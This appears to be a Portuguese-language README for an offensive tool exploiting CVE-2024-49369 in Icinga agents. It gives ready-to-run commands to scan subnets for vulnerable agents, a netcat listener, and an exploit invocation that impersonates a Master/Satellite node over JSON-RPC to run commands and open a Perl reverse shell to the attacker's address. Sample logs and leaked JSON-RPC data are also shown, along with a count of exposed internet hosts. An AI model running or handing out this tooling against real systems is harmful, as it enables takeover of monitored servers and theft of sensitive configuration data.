
Ferramenta de exploração para CVE-2024-49369 no Icinga, permitindo varredura de sub-redes, tomada de controle do agente via personificação JSON-RPC, execução arbitrária de comandos e shell reverso.
Esta vulnerabilidade aproveita o protocolo JSON-RPC do Icinga para explorar nós monitorados que executam agentes do Icinga. Ao se passar por uma instância Master/Satellite, atacantes podem potencialmente assumir o controle dos agentes, executar comandos arbitrários ou obter informações sigilosas.
Para escanear uma sub-rede em busca de agentes vulneráveis, execute o seguinte comando:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Isso escaneia a sub-rede especificada em lotes de 25 IPs. A ferramenta envia uma mensagem Icinga::HELLO através do protocolo JSON-RPC e identifica agentes respondentes junto com suas versões.
Se a configuração e a execução de comandos estiverem habilitadas em um endpoint (configuração padrão para nós monitorados com agentes Icinga), um atacante pode:
Isso pode levar a um comprometimento total do sistema (dependendo do usuário do serviço) ou a um acesso limitado.
Quando o nó pai ainda está conectado, as conexões de exploração terão esta aparência no log:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Podemos ver que este nó é vulnerável ao ataque, pois o aviso sobre clusters está sendo acionado, significando que o satellite atual ainda está conectado, mas este agente nos vê como um pai válido.
Inicie um listener Netcat para o shell reverso:
nc -lvnp 9001
Lance o exploit:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: Endereço IP do agente alvo.--node-cn: Nome comum (Common Name) da instância Master/Satellite a ser falsificada.--zone: Nome da zona alvo. O padrão é master.--revip: Endereço IP do atacante para o shell reverso.--revport: Porta do atacante para o shell reverso.Este comando inicia tentativas repetidas de conexão. Assim que o agente alvo se desconectar de seu pai atual, a ferramenta assume o controle, enviando e recebendo verificações.
Um shell reverso baseado em Perl é usado como parte de uma nova verificação criada pela ferramenta.
Mesmo se a configuração e a execução de comandos estiverem desabilitadas no alvo, atacantes ainda podem obter dados sigilosos ao observar os resultados das verificações enviadas ao agente.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Essas respostas podem revelar configurações sigilosas, dados de agendamento ou até mesmo os resultados de serviços monitorados.
No Censys, atualmente existem 24.003 hosts com uma porta Icinga publicamente acessível. Verificações pontuais indicam que a maioria dos hosts ainda está executando uma versão vulnerável do Icinga.
Esta pesquisa baseia-se no trabalho discutido no blog do Icinga.